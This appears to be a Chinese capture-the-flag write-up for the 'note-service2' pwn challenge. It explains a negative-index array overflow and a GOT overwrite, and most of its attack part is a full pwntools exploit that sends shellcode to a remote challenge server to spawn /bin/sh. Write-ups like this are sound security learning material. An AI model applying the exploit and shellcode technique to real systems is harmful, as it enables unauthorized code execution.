zoukankan      html  css  js  c++  java
  • note-service2

    安全检查

     流程分析

    add函数,这里有一个溢出漏洞,但我没看到-_-||,注意力一直在输入函数和free函数上

     del函数

    漏洞利用

    由于程序没有NX防护,所以堆和栈都有可执行属性(我以前一直以为NX只是对栈取消了可执行效果,原来对堆也有效果),通过add函数没有对数组进行检查,导致数组可以进行负溢出,并且通过偏移地址hook了got.plt来达到get shell效果

     exp

    from pwn import *
    
    #p=process('./note')
    p=remote('220.249.52.134',50441)
    def add(idx,size,content):
        p.recvuntil('>> ')
        p.sendline('1')
        p.recvuntil('index:')
        p.sendline(str(idx))
        p.recvuntil('size:')
        p.sendline(str(size))
        p.recvuntil('content:')
        p.sendline(content)
        
    def delete(idx):
        p.recvuntil('>> ')
        p.sendline('4')
        p.recvuntil('index:')
        p.sendline(str(idx))
    
    add(0,0x8,'a')
    add(1,0x8,asm('mov eax,0x3b')+b'xebx19')
    add(2,0x8,'x48x33xf6x90x90xebx19')
    add(3,0x8,'x48x33xd2x90x90xebx19')
    add(4,0x8,asm('syscall').ljust(7,b'x90'))
    add(5,0x8,'/bin/sh')
    delete(0)
    
    add(-17,0x8,'x48x33xc0x90x90xebx19')
    
    
    
    #gdb.attach(p)
    
    p.interactive()

    感想

    这道题,发现了自己的不足,明白队长为什么要锻炼我的代码审计能力,因为这个数组的负溢出一直没看到,也没去注意,写题也一直是学会别人的解题方式后,再用别人的方式来解下一题,这样周而复始,最大的原因就是代码审计不过关,接下来得要求自己写题目跟写vm题一样有耐心,认真审题,把所有的漏洞都在代码中标记出来,看能利用,再决定要不要看wp

  • 相关阅读:
    jQuery表单验证以及将表单序列化为json对象小练习
    判断客户端浏览器是否安装了Flash插件
    css文本超出2行就隐藏并显示省略号
    jquery and js 判断一个元素是否存在
    jquery表单实时验证
    trigger()和triggerHandler()
    IE浏览器下面要实现滤镜(transparent),必须要加filter
    使用javascript判断浏览器类型
    web引入
    前端大纲********
  • 原文地址:https://www.cnblogs.com/pppyyyzzz/p/14152114.html
Copyright © 2011-2022 走看看